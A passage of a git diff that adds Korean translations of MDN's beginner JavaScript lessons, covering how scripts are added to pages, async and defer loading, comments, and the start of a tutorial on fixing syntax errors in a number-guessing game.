+<h3 id="자바스크립트_실행_순서">자바스크립트 실행 순서</h3>
+
+<p>브라우저에서 자바스크립트를 만났을 때 일반적으로는 위에서 아래 순서대로 실행됩니다. 이는 순서에 주의해서 코드를 작성해야한다는 의미입니다. 예를 들어, 아래의 첫번째 예재를 통해 자바스크립트 블록을 반환해봅시다:</p>
+
+<pre class="brush: js notranslate">const para = document.querySelector('p');
+//HTML 요소 중 p태그를 선택
+
+para.addEventListener('click', updateName);
+//para에 저장된 객체가 클릭되었을 때 updateName 함수를 실행
+
+function updateName() {
+  let name = prompt('Enter a new name');
+  //'Enter a new name'과 입력란 출력하여 입력받은 값을 name에 저장
+  para.textContent = 'Player 1: ' + name;
+  //papa(p태그)에 새로운 문자열 저장
+}</pre>
+
+<p>먼저 p태그의 요소를 para변수에 저장합니다(1번줄). 그리고 event listener를 붙여(3번줄) p태그가 클릭되었을 때 <code>updateName()</code>코드 블록(중괄호로 묶여있는 부분)이 (5-8번줄) 실행되도록 합니다. <code>updateName()</code> 코드 블록(이렇게 계속적으로 사용할 수 있는 코드 블럭을 함수라고 합니다.). 사용자로 하여금 새로운 이름을 입력받기를 요청하고, 사용자가 이름을 입력하면 화면에 출력하게 됩니다.</p>
+
+<p>만약 1번줄과 3번줄을 바꿨다면 코드는 실행되지 않을 것입니다. 대신 브라우저의 개발자 콘솔창에 다음과 같은 에러 알림이 뜰 것입니다. — <code>TypeError: para is undefined</code>. 이는 para라는 객체가 아직 존재하지 않는다는 뜻으로, para라는 변수에 event listener는 추가할 수 없습니다</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이는 매우 일반적인 에러이기 때문에, 프로그램을 실행할 때 코드 상에서 사용되는 객체에 대해 주의할 필요가 있습니다.</p>
+</div>
+
+<h3 id="해석형_언어와_컴파일러형_언어">해석형 언어와 컴파일러형 언어</h3>
+
+<p>프로그래밍을 하는 입장에서 인터프리트와 컴파일이라는 개념에 대해서는 들어보았을 것입니다. 자바스크립트는 해석형 언어입니다. 따라서 코드가 위에서 아래로 순차적으로 실행되고 그 즉시 결과가 반환됩니다. 브라우저에서 동작하기 전에 다른 방식으로 코드를 변환할 필요가 없습니다.</p>
+
+<p>반면에 컴파일러형 언어는 컴퓨터에 의해 동작되기전 다른 형식으로 변환하는 언어입니다. 예를 들면 C/C++과 같은 언어는 어셈블리어로 컴파일되어 동작됩니다.</p>
+
+<p>이 둘의 관점은 각각의 장점을 가지고 있으니 다음장 부터 한번 알아봅시다.</p>
+
+<h3 id="서버측_코드와_클라이언트측_코드">서버측 코드와 클라이언트측 코드</h3>
+
+<p>웹 개발 맥락에서 서버측과 클라이언트측 코드에 대해 들어보았을 것입니다. 클라이언트측 코드란 사용자의 컴퓨터에서 작동되는 코드입니다. 만약 웹페이지를 보고자 한다면, 클라이언트측 코드가 사용자의 컴퓨터로 다운로드되고 브라우저가 이를 표시합니다. 이러한 자바스크립트 모듈을 정확히는 클라이언트측 자바스크립트라고 합니다.</p>
+
+<p>반면 서버측 코드는 서버에서 작동되고, 그 결과가 사용자의 브라우저에 넘어가 표시됩니다. PHP, Python, Ruby, ASP.NET등이 서버측 웹 언어의 대표적 예라고 볼 수 있습니다. 물론 자바스크립트도 가능합니다! 유명한 Node.js란 환경을 통해 서버측에서도 자바스크립트가 사용 가능합니다. <a href="/en-US/docs/Learn/Server-side">Dynamic Websites – Server-side programming</a>에서 서버측 자바스크립트에 대해 더 알 수 있습니다.</p>
+
+<h3 id="동적_VS_정적_코드">동적 VS 정적 코드</h3>
+
+<p>"동적"이라는 말은 클라이언트측 서버측 언어 모두를 가르킵니다. 이는 각기 다른 상황에서 적절한 정보가 보이고, 컨텐츠를 웹페이지나 앱 상에 계속적으로 노출시키는 역할을 합니다. 서버측 코드는 데이터베이스로 부터 데이터를 던지는 등 동적으로 새로운 컨텐츠들을 만듭니다. 반면에, 클라이언트측 자바스크립트는 새로운 HTML 표를 만들어 서버에서 요청한 데이터를 뿌려 사용자에게 보이는 등 동적으로 브라우저 안에서 작동됩니다. 이 둘 사이는 서로 미묘한 차이가 있지만, 서로 연관되어 있고 서버측 클라이언트측의 관계와 접근에 대해 알 필요가 있습니다.</p>
+
+<p>동적으로 바뀌지 않는 페이지를 "정적"페이지라고 합니다. (항상 같은 콘텐츠를 보여줍니다.)</p>
+
+<h2 id="웹_페이지에_JavaScript를_어떻게_넣나요">웹 페이지에 JavaScript를 어떻게 넣나요?</h2>
+
+<p>자바스크립트는 CSS와 같은 방식으로 HTML 페이지에 적용됩니다. CSS는 외부의 스타일시트를 적용하기 위해 link 요소를 사용하거나 내부의 스타일시트를 적용하기 위해 style 요소를 사용하는 반면,자바스크립트는 HTML상에서 오직 script 태크만으로 사용이 가능합니다. 어떻게 작동되는지 한번 살펴봅시다.</p>
+
+<h3 id="HTML_내부의_자바스크립트">HTML 내부의 자바스크립트</h3>
+
+<ol>
+ <li>먼저, 예제로 주어진 <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript.html">apply-javascript.html</a>파일을 저장합니다.</li>
+ <li>파일을 브라우저와 편집기 상에서 둘다 엽니다. HTML으로 만든 클릭 버튼이 있는 간단한 웹페이지를 볼 수 있습니다.</li>
+ <li>그런다음, 편집기로 가서 <code>&lt;/body&gt;</code> 태그 직전에 다음의 코드를 추가하도록 합니다:
+  <pre class="brush: html notranslate">&lt;script&gt;
+
+  // JavaScript goes here
+
+&lt;/script&gt;</pre>
+ </li>
+</ol>
+
+<p>그러고 아래의 자바스크립트 코드를 &lt;script&gt;&lt;/script&gt;사이에 넣음으로서 페이지 상에서 동작이 가능하게끔 할 수 있습니다.( 위 코드에서 "// JavaScript goes here" 부분에 아래의 코드를 추가하면 됩니다.)</p>
+
+<pre class="brush: js notranslate" dir="rtl"><code>document.addEventListener("DOMContentLoaded", function() {
+  function createParagraph() {
+    let para = document.createElement('p');
+    para.textContent = 'You clicked the button!';
+    document.body.appendChild(para);
+  }</code>
+
+  const buttons = document.querySelectorAll('button');
+
+  for(let i = 0; i &lt; buttons.length ; i++) {
+    buttons[i].addEventListener('click', createParagraph);
+  }
+});</pre>
+
+<ol>
+ <li>파일을 저장하고 새로고침을 눌러보세요. 이제 버튼을 클릭하면 새로운 문단이 아래쪽에 생기는 것을 볼 수 있습니다.</li>
+</ol>
+
+<div class="blockIndicator note">
+<p>각각의 문법에 대해서는 이후 더 자세히 다루기 때문에, 동작여부만 확인하고 넘어가도 무방합니다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: 만약 예제가 실행되지 않는다면,  돌아가서 올바른지 한 번 더 체크해보도록 하세요. 혹시 저장할 때 확장자를 .html 로 하지 않았나요? 혹시 {{htmlelement("script")}} 를<code>&lt;/body&gt;</code> 태그 뒤에 붙인 건 아닌가요?  다음과 같이 자바스크립트를 작성했나요? <strong>자바스크립트는 까다로운 언어이기 때문에 정확하게 문법을 지킬 필요가 있습니다. 그렇지 않으면 제대로 동작하지 않을 수 도 있습니다.</strong></p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: 깃허브에서도 이 코드를 볼 수 있습니다. <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html">apply-javascript-internal.html</a> (<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html">see it live too</a>).</p>
+</div>
+
+<h3 id="외부의_자바스크립트">외부의 자바스크립트</h3>
+
+<p>만약에 외부 파일로 자바스크립트를 위치시키고 싶다면 어떻게 할까요? 이에 대해서 알아봅니다.</p>
+
+<ol>
+ <li>먼저, HTML 파일이 있는 디렉토리에 <code>script.js</code>라는 새로운 파일을 만듭니다. 파일의 확장자가 .js이면 그 파일이 자바스크립트로 이루어져 있음을 뜻합니다.</li>
+ <li>아래의 태그를 HTML 코드에 복사 후 저장합니다.</li>
+ <li>
+  <pre class="syntaxbox notranslate">&lt;script src="script.js"&gt;&lt;/script&gt;</pre>
+ </li>
+ <li>script.js 의 내용을 다음과 같이 바꿉니다.
+  <pre class="notranslate"><code>function createParagraph() {
+  let para = document.createElement('p');
+  para.textContent = 'You clicked the button!';
+  document.body.appendChild(para);
+}
+
+const buttons = document.querySelectorAll('button');
+
+for(let i = 0; i &lt; buttons.length ; i++) {
+  buttons[i].addEventListener('click', createParagraph);
+}</code></pre>
+ </li>
+ <li>저장하고 브라우저를 새로고침하면 앞과 똑같은 결과가 나올것입니다. 똑같이 작동하기 때문에 이제 자바스크립트는 외부에서 만들 수 있음을 알 수 있습니다. 이는 코드를 만들고 구성하는 입장에서 좋으며, 여러 HTML파일로 부터 재사용이 가능합니다. 더군다나 HTML은 스크립트의 본문이 외부로 분리되어 간결해집니다.</li>
+</ol>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 깃허브에서 이 버전을 볼 수 있습니다. <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-external.html">apply-javascript-external.html</a> 그리고 <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/script.js">script.js</a> (<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-external.html">see it live too</a>).</p>
+</div>
+
+<h3 id="인라인_JavaScript_처리기">인라인 JavaScript 처리기</h3>
+
+<p>실제 HTML 속에 포함된 자바스크립트코드를 함께 쓸 수 있습니다. 이는 다음과 같으니 참고해보세요:</p>
+
+<pre class="brush: js example-bad notranslate">function createParagraph() {
+  let para = document.createElement('p');
+  para.textContent = 'You clicked the button!';
+  document.body.appendChild(para);
+}
+//HTML 내의 &lt;scirpt&gt;태그 내부에 작성
+</pre>
+
+<pre class="brush: html example-bad notranslate">&lt;button onclick="createParagraph()"&gt;Click me!&lt;/button&gt;</pre>
+
+<p>이는 다음과 같은 예제로 볼 수 있습니다.</p>
+
+<p>이 데모 예제는 &lt;button&gt;태그에 onclick속성에 대한 값을 함수이름으로 넣어 버튼이 클릭될 때마다 함수가 실행되도록 작성하였습니다.</p>
+
+<p><strong>하지만, 이 방법은 효율적이지 않습니다. </strong>이는 자바스크립트와 함께 HTML 소스를 복잡하게 할 수 있습니다. 또한 함수를 만들기 위한 모든 버튼 마다 <code>onclick="createParagraph()"</code> 속성을 포함해야합니다.</p>
+
+<p>JavaScript 코드만으로도 모든 버튼에 함수를 연결할 수 있습니다. 위의 내용을 의도한대로 수정한다면 다음과 같습니다:</p>
+
+<pre class="notranslate">const buttons = document.querySelectorAll('button');
+//모든 &lt;button&gt;태그를 List 형태로 buttons 변수에 저장한다.
+
+for (let i = 0; i &lt; buttons.length ; i++) {
+  buttons[i].addEventListener('click', createParagraph);
+}
+//복수이기 때문에 for를 사용해 루프를 돌린다.
+</pre>
+
+<p>이 코드는 onclick 속성 코드 보다 조금 길어보이지만, 페이지가 많든, 버튼의 수가 많든 적든 상관없이 모든 버튼들이 같은 기능을 할 수 있도록 합니다. 물론 자바스크립트 코드를 변경할 필요가 없습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>:  <code>apply-javascript.html 수정을 해보고 버튼을 한 번 추가해 보세요.</code> 실행해보면 버튼 하나하나 클릭할 때 마다 글이 보일 것입니다. 꽤 깔끔하지 않은가요?</p>
+</div>
+
+<h3 id="스크립트의_로딩_방법">스크립트의 로딩 방법</h3>
+
+<p> 작성된 스크립트를 브라우저가 적절한 때에 로딩하는것에 대해 몇가지 이슈가 있습니다. 중요한 것은 모든 HTML 요소는 순서대로 페이지에 로드된다는 것입니다. 만약 당신이 자바스크립트를 이용해 HTML 요소를 조작할 경우(정확하게는 DOM), 자바스크립트 코드가 조작 대상인 HTML 요소보다 먼저 실행된다면 조작할 요소가 존재하지 않는 상태이기 때문에 제대로 동작하지 않을 것입니다.</p>
+
+<p>위의 코드 예제에서, 내부와 외부의 자바스크립트는 HTML Document의 <code>body</code>가 해석되기 전인 <code>head </code>부분에 로드되고 실행되었습니다. 이는 에러를 일으킬 수 있습니다. 그래서 여기에 사용되는 몇가지 해결방법들이 있습니다.</p>
+
+<p><strong>내부 자바스크립트 예제</strong>에서는 다음과 같이 구성하면 됩니다:</p>
+
+<pre class="notranslate"><code>document.addEventListener("DOMContentLoaded", function() {
+  ...
+});</code></pre>
+
+<p>이 이벤트리스너는 <code>"DOMContentLoad" </code>이벤트가 발생되었을 때<code> function()</code>을 실행한다는 의미입니다. (<a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events">이벤트 리스너</a>에 관해서는 이번 코스에서 다루게 됩니다.) <code>"DOMContentLoad"</code> 이벤트는 브라우저가 완전히 로드되고 해석될때 발생됩니다. <code>function(){}</code> 내부의 자바스크립트 구문은 이벤트가 발생되기 전까지는 실행되지 않습니다. 따라서 모든 <code>body</code>태그의 요소가 로드된 이후 자바스크립트 코드가 실행되도록 만들어 에러를 피할 수 있습니다.</p>
+
+<p><strong>외부 자바스크립트</strong> 예제에서는 좀더 최신의 자바스크립트 문법인 <code>async </code>속성을 사용하게 됩니다. 일반적으로 <code>HTML</code>요소를 로딩하는 중 <code>&lt;scirpt&gt;</code>태그를 만나면 JavaScript의 내용이 모두 다운될 때까지 <code>HTML</code>로딩은 멈추게 되는데, <code>async</code>요소는 비동기방식으로 <code>&lt;script&gt;</code>태그에 도달했을 때 브라우저에게 <code>HTML </code>요소를 멈추지 않고 다운받도록 유지시킵니다.</p>
+
+<pre class="notranslate"><code>&lt;script src="script.js" async&gt;&lt;/script&gt;</code></pre>
+
+<p>이 경우 <code>script</code>와 <code>HTML</code>은 모두 동시에 로드되고 작동할 것입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 외부 스크립트 경우 async 속성을 사용하면 되기 때문에 내부 스크립트처럼 DOMContentLoaded이벤트를 사용할 필요가 없습니다. 하지만 async속성은 외부 스크립트의 경우만 동작합니다.</p>
+</div>
+
+<p>예전 방식은 <code>scirpt </code>요소를 <code>body</code>태그의 맨 끝에 넣는 방법이었습니다(<code>&lt;/body&gt;</code> 바로 위에). 이 방식을 사용해도 <code>body</code>태그가 모두 로드된 이후 <code>scirpt</code>가 실행되게 만들 수 있습니다. 문제는 이 방법과 <code>DOMContentLoaded</code>를 이용한 방법 모두<code> HTML DOM</code>이 로드되기 전까지 <code>script</code>의 로딩과 파싱이 완전히 차단된다는 것입다. 이는 많은 자바스크립트 코드를 다루는 규모가 큰 사이트의 경우 사이트를 느리게 만드는 중요한 성능 문제를 야기할 수 있습니다. 이것이 <code>async </code>속성을 사용해야 하는 이유입니다!</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 자바스크립트의 비동기 개념은 이해하는데 시간이 오래 걸리기 때문에, 지금 이해되지 않는다면 현재 단계에선 외부 스크립트 방식만 사용하고 넘어가도 무방합니다.</p>
+</div>
+
+<h4 id="async_defer">async &amp; defer</h4>
+
+<p>더 깊게 들어가보면 이러한 코드문제를 해결하기 위한 방법은 실제로 두가지가 있습니다. — <code>async</code> 와<code>defer</code> 입니다. 두 가지의 차이를 봅시다.</p>
+
+<p>async 스크립트는 페이지 렌더링의 중단 없이 스크립트를 다운로드 하고, 또한 스크립트의 다운로드가 끝나자 마자 이를 실행시킵니다. async는 외부 스크립트끼리의 구체적인 실행 순서는 보장하지 않고, 단지 나머지 페이지가 나타나는 동안 스크립트가 비동기방식으로 다운로드 되어 중단되지 않는다는 것만 보장합니다. async는 각각의 스크립트가 독립적으로, 서로에게 의존하지 않는 관계일 때 적절합니다.</p>
+
+<p>아래의 예제를 보시죠:</p>
+
+<pre class="notranslate"><code>&lt;script async src="js/vendor/jquery.js"&gt;&lt;/script&gt;
+
+&lt;script async src="js/script2.js"&gt;&lt;/script&gt;
+
+&lt;script async src="js/script3.js"&gt;&lt;/script&gt;</code></pre>
+
+<p>3개의 스크립트를 로딩하지만 이들의 순서는 보장할 수 없습니다. 이는 <code>script2.js</code>나 <code>script3.js</code>에 있는 함수가<code> jquery.js</code>의 함수를 사용한다면 에러를 발생될 수 있다는 것을 의미합니다.</p>
+
+<p>Defer는 이와 다르게 순서대로 다운로드 한 후 모든 스크립트와 내용이 다운로드 되었을 때 실행됩니다:</p>
+
+<pre class="notranslate"><code>&lt;script defer src="js/vendor/jquery.js"&gt;&lt;/script&gt;
+
+&lt;script defer src="js/script2.js"&gt;&lt;/script&gt;
+
+&lt;script defer src="js/script3.js"&gt;&lt;/script&gt;</code></pre>
+
+<p>따라서 위의 예제의 경우에는 <code>jquery.js</code> -&gt; <code>script2.js</code> -&gt; <code>script3.js</code> 의 순서가 보장됩니다.</p>
+
+<p>요약 :</p>
+
+<ul>
+ <li>만약 scirpt들이 각각의 스크립트에 의존하지 않고 독립적으로 파싱되도 상관없다면, <code>async</code> 를 사용합니다.</li>
+ <li>먄약 sciprt들이 의존하고 하나의 스크립트가 파싱될때까지 기다려야 한다면, <code>defer</code> 를 사용하고 각각의 <code>&lt;script&gt;</code> 태그들을 실행되길 원하는 순서대로 작성합니다.</li>
+</ul>
+
+<h2 id="주석">주석</h2>
+
+<p>HTML과 CSS와 같이, 자바스크립트에서도 주석문의 사용이 가능합니다. 주석문은 브라우저 실행때는 무시되어 넘어가고 다른 개발자로 하여금 어떻게 구성되고 작동되는지 설명해주는 역할을 합니다(물론 자신의 훗날 코드를 다시 보았을 때 빨리 기억하고, 이해할 수 있게끔 도와주기도 합니다.). 주석문은 매우 유용하고 코딩시 자주 사용됩니다(특히 큰 프로젝트에서). 주석문에는 두가지 종류가 있습니다:</p>
+
+<ul>
+ <li>두개의 슬래시(//)를 통해 한 줄의 주석이 가능합니다.
+  <pre class="brush: js notranslate">// I am a comment</pre>
+ </li>
+ <li> /* 와 */를 사용하여 그 사이에 여러 줄의 주석문의 구성이 가능합니다.
+  <pre class="brush: js notranslate">/*
+  I am also
+  a comment
+*/</pre>
+ </li>
+</ul>
+
+<p>예를 들자면, 앞의 데모예제에 주석문을 다음과 같이 달 수 있습니다.</p>
+
+<pre class="brush: js notranslate">// Function: creates a new paragraph and append it to the bottom of the HTML body.
+
+function createParagraph() {
+  let para = document.createElement('p');
+  para.textContent = 'You clicked the button!';
+  document.body.appendChild(para);
+}
+
+/*
+  1. Get references to all the buttons on the page and sort them in an array.
+  2. Loop through all the buttons and add a click event listener to each one.
+
+  When any button is pressed, the createParagraph() function will be run.
+*/
+
+const buttons = document.querySelectorAll('button');
+
+for (let i = 0; i &lt; buttons.length ; i++) {
+  buttons[i].addEventListener('click', createParagraph);
+}</pre>
+
+<h2 id="정리">정리</h2>
+
+<p>지금까지 우리는 자바스크립트의 첫걸음을 떼었습니다. 여기서 자바스크립트를 왜 사용하고 어떻게 사용하는지에 대한 방법들에 대한 기초적인 부분을 배웠습니다. 여러 예제 코드를 봄으로써, 웹사이트와 다른 곳에서의 코드상 자바스크립트가 어떻게 구성되어있는지 배웠습니다.</p>
+
+<p>자바스크립트가 지금은 조금 어려울 수 있으나, 걱정하지 마세요. 이 수업은 첫 단계인만큼 앞으로 더 많은 것을 배우기 위해 감각을 키우기 위한 수업입니다. 다음 수업에서 우리는 <a href="/en-US/docs/Learn/JavaScript/Introduction_to_JavaScript_1/A_first_splash">plunge straight into the practical</a>를 통해 앞으로 더 나아가고 스스로 자바스크립트 예제를 실행해볼 것입니다.</p>
diff --git a/files/ko/learn/javascript/first_steps/what_went_wrong/index.html b/files/ko/learn/javascript/first_steps/what_went_wrong/index.html
new file mode 100644
index 0000000000..44030c4057
--- /dev/null
+++ b/files/ko/learn/javascript/first_steps/what_went_wrong/index.html
@@ -0,0 +1,237 @@
+---
+title: 자바스크립트 문제해결
+slug: Learn/JavaScript/First_steps/What_went_wrong
+translation_of: Learn/JavaScript/First_steps/What_went_wrong
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">이전 수업에서 "숫자맞추기" 프로그램을 만들어봤을때, 프로그램이 돌아가지 않는다는 것을 볼 것이다. 하지만 여기서 자바스크립트의 에러를 찾고 고치는 방법에 대해 알려주니 겁먹지 말고 도전해보자!</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">알아야 할 것</th>
+   <td>기본적인 컴퓨터 이해. HTML, CSS, 자바스크립트의 이해</td>
+  </tr>
+  <tr>
+   <th scope="row">목표</th>
+   <td>코드상의 문제를 고치는 능력과 자신감 고취</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="에러의_종류">에러의 종류</h2>
+
+<p>일반적으로, 코드가 잘못된 이유에는 2가지 종류가 있으니 살펴보자.</p>
+
+<ul>
+ <li><strong>구문 에러(Syntax errors)</strong>: 코드 상의 구문 에러로 대개 철자가 잘못되어 작동이 안되거나 중간에 프로그램이 중지된다. 물론 여기서 에러 메시지가 출력되므로 확인할 수 있다. 코드 편집기 툴을 사용하고 에러 메시지의 의미만 파악할 수 있다면, 충분히 고칠 수 있다.</li>
+ <li><strong>논리 에러(Logic errors)</strong>: 구문은 올바르지만, 코드의 의미자체가 잘못된 경우이다. 즉 프로그램은 정상적으로 돌아가지만, 원하는 결과를 얻지 못하는 경우이다. 에러 메시지가 직접적으로 표시되지 않기 때문에, 일반적으로 구문에러보다 에러 수정이 힘들다.</li>
+</ul>
+
+<p>물론, 간단하지는 않지만 좀 더 세분화된 분류가 있다. 그렇지만, 위의 분류가 처음에는 이해하기 좋다. 우리는 앞으로 이 두가지 종류에 대해 알아볼 것이다.</p>
+
+<h2 id="잘못된_예">잘못된 예</h2>
+
+<p>시작하기 앞서, 이전에 볼 '숫자맞추기'게임을 살펴보자 (이번 시간을 제외하고는 앞으로 일부러 에러를 만든 코드를 볼 것입니다.) 깃허브에 가서 로컬 지역에 저장합니다. -&gt; <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">number-game-errors.html</a> (see it <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">running live here</a>).</p>
+
+<ol>
+ <li>시작하기에 앞서, 파일을 본인이 사용하는 텍스트 에디터와 브라우저를 통해 연다.</li>
+ <li>프로그램을 실행시켜본다.("Submit Button"을 눌렀을 때, 정상적으로 실행이 되면 안된다)</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: You might well have your own version of the game example that doesn't work, which you might want to fix! We'd still like you to work through the article with our version, so that you can learn the techniques we are teaching here. Then you can go back and try to fix your example.</p>
+</div>
+
+<p>여기서 구문 에러가 발생했을때 볼 수 있는 개발자 콘솔에 대해 살펴보고, 이를 통해 수정해보자. 이제부터 시작이다!</p>
+
+<h2 id="구문Syntax_에러_고치기">구문(Syntax) 에러 고치기</h2>
+
+<p>수업 앞쪽에서 간단한 자바스크립트 명령어를 <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools JavaScript console</a> 에서 살펴보았다 (만약 모르겠다면 앞의 링크를 살펴보자). 좋은 것은, 브라우저의 자바스크립트 엔진이 구문에러가 발생할 대마다 에러메시지를 콘솔에게 던져준다.  자, 이제 시작해보자</p>
+
+<ol>
+ <li> 열려져 있는 <code>number-game-errors.html</code>이 있는 탭으로 가서 자바스크립트 콘솔창을 연다. 다음줄을 따라 에러메시지를 볼 수 있을 것이다.<img alt="" src="https://mdn.mozillademos.org/files/13496/not-a-function.png" style="display: block; margin: 0 auto;"></li>
+ <li>이는 쉬운 에러에 속하기 때문에, 브라우저가 해결하도록 팁등을 알려준다. (위의 캡처사진은 FireFox이지만, 아마 다른 브라우저에서도 비슷한 내용을 제공해준다). 왼쪽부터 살펴보면,
+  <ul>
+   <li>빨간색 "x"는 에러라는 것을 의미한다.</li>
+   <li>무엇이 잘못됬는지 알려준다. 여기서는 "TypeError: guessSubmit.addeventListener is not a function"</li>
+   <li>"Learn More" 링크는 다양한 내용이 있는 MDN 페이지와 연결해 에러의 의미를 설명해준다.</li>
+   <li>자바스크립트 파일의 이름으로 개발자툴의 디버거 탭을 연결한다. 이 링크를 따라가면, 에러가 발생한 정확한 위치를 찾을 수 있다.</li>
+   <li>에러가 발생한 줄번호와, 그 줄에서 몇번째 문자에 있는지 알려준다.  여기서는 86번줄, 앞에서 3번째 문자이다</li>
+  </ul>
+ </li>
+ <li>편집기에서 86번째 줄을 보자.
+  <pre class="brush: js">guessSubmit.addeventListener('click', checkGuess);</pre>
+ </li>
+ <li>"guessSubmit.addeventListener is not a function"라고 에러메시지가 뜨는걸로 보아, 아마 철자가 잘못되었을 것이다. 만약 철자가 애매하거나하면, MDN에서 찾아보는것이 좋을 것이다. 현재로 가장 좋은 방법은 검색엔진에서 "mdn <em>name-of-feature</em>" 를 검색하는 것이다. 예를들자면 다음을 살펴보자 -&gt; <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>.</li>
+ <li>여기서 살펴보며, 함수의 이름 철자가 틀려서 에러가 났음을 알수 있다. 자바스크립트와 같은 프로그래밍은 정확하기 때문에 한글자라도 틀리면 에러가 날 것이다. <code>addeventListener</code>를 <code>addEventListener</code>러 바꿈으로 에러는 해결된다. 고쳐보자.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: See our <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Not_a_function">TypeError: "x" is not a function</a> reference page for more details about this error.</p>
+</div>
+
+<h3 id="반복되는_구문에러">반복되는 구문에러</h3>
+
+<ol>
+ <li>저장하고 새로고침해보자. 하지만 그래도 여전히 에러가 난다.</li>
+ <li>이제 숫자를 입력하고 "Submit guess" 버튼을 눌러보자. 그런데, 또 다른 에러가 나타났다!<img alt="" src="https://mdn.mozillademos.org/files/13498/variable-is-null.png" style="display: block; margin: 0 auto;"></li>
+ <li>이번에는 에러 메시지가  78번 줄에 "TypeError: lowOrHi is null" 라고 떳다.
+  <div class="note"><strong>Note</strong>: This error didn't come up as soon as the page was loaded because this error occurred inside a function (inside the <code>checkGuess() { ... }</code> block). As you'll learn in more detail in our later functions article, code inside functions runs in a separate scope to code outside functions. In this case, the code was not run and the error was not thrown until the <code>checkGuess()</code> function was run by line 86.</div>
+  <strong>Note</strong>: <code><a href="/en-US/docs/Glossary/Null">Null</a></code> is a special value that means "nothing", or "no value". So <code>lowOrHi</code> has been declared and initialised, but not with any meaningful value — it has no type or value.</li>
+ <li>78번줄은 다음 코드다.
+  <pre class="brush: js">lowOrHi.textContent = 'Last guess was too high!';</pre>
+ </li>
+ <li>이줄에서는 <code>lowOrHi</code>변수의<code> textContent</code>속성을 문자열로 지정하지만, <code>lowOrHi</code>가 어떤 역할을 하는지 포함하지 않았기 때문에 동작되지 않는다. 왜 그런지 살펴보면, 예제의 <code>lowOrHi</code>의 다른 예제를 보면 알 수 있다. 가장 가까이에 잇는 부분은 48번줄에서 찾을 수 있다.
+  <pre class="brush: js">var lowOrHi = document.querySelector('lowOrHi');</pre>
+ </li>
+ <li>여기서는 변수로 하여금 HTML안의 요소로 정보를 가지도록 하려고 한다. 이 줄이 실행되고 나서 값의 null인지도 확인해보자. 49번줄에 다음 코드를 추가해보자.
+  <pre class="brush: js">console.log(lowOrHi);</pre>
+
+  <div class="note">
+  <p><strong>Note</strong>: <code><a href="/en-US/docs/Web/API/Console/log">console.log()</a></code> is a really useful debugging function that prints a value to the console. So it will print the value of <code>lowOrHi</code> to the console as soon as we have tried to set it in line 48.</p>
+  </div>
+ </li>
+ <li>저장하고 새로고침해보면, 콘솔창에서 <code>console.log()</code> 의 결과를 볼 수 있을 것이다.<img alt="" src="https://mdn.mozillademos.org/files/13494/console-log-output.png" style="display: block; margin: 0 auto;"> 물론, <code>lowOrHi</code>'s값은 여전히 null이므로 48번줄은 문제가 있다고 볼 수 있다.</li>
+ <li>문제가 무엇인지 생각해보자. 49번줄 <code><a href="/en-US/docs/Web/API/Document/querySelector">document.querySelector()</a></code> 메소드는 CSS 선택자로금 선택되는 요소의 정보를 갖도록 만든다. 파일을 살펴보면, 다음과 같은 코드를 볼 수 있다.
+  <pre class="brush: js">&lt;p class="lowOrHi"&gt;&lt;/p&gt;</pre>
+ </li>
+ <li>따라서 여기에 점(.) 으로 시작되는 클래스 선택자가 필요한 것이다 . 하지만 48번줄의 querySelector() 메소드에서는 바로 이 '점(.)' 이 없다. <code>lowOrHi</code>를 <code>.lowOrHi</code> 로 바꾸어 문제를 해결할 수 있다.</li>
+ <li>저장하고 새로고침하면, <code>console.log() </code>에서 우리가 원하는 &lt;p&gt; 요소를 반환할 것이다. 자, 이제 다른 에러가 해결되었다. <code>console.log()</code>를 지금 제거해도 되고 난중을 위해 나둬도 되니 알아서 하자.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: See our <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Unexpected_type">TypeError: "x" is (not) "y"</a> reference page for more details about this error.</p>
+</div>
+
+<h3 id="세번씩_반복되는_구문에러">세번씩 반복되는 구문에러</h3>
+
+<ol>
+ <li>이제 프로그램을 계속 실행할수록, 성공횟수는 많아진다. 즉 프로그램이 종료될때까지 정확한 수를 추측하든, 횟수에 상관없이 완벽한 프로그램이 동작된다는 것이다.</li>
+ <li>여기서 프로그램에 처음에 보았던 똑같던 에러가 발생한다. "TypeError: resetButton.addeventListener is not a function"이라고! 하지만 이번에는 94번줄이라고 표시된다.</li>
+ <li>94번줄을 보면, 똑같은 실수를 하고 있다는 것을 쉽게 찾아볼 수 있다. 단지 <code>addeventListener</code> 를 <code>addEventListener</code> 로 철자만 주의해서 바꾸면 된다.</li>
+</ol>
+
+<h2 id="논리Logic_에러">논리(Logic) 에러</h2>
+
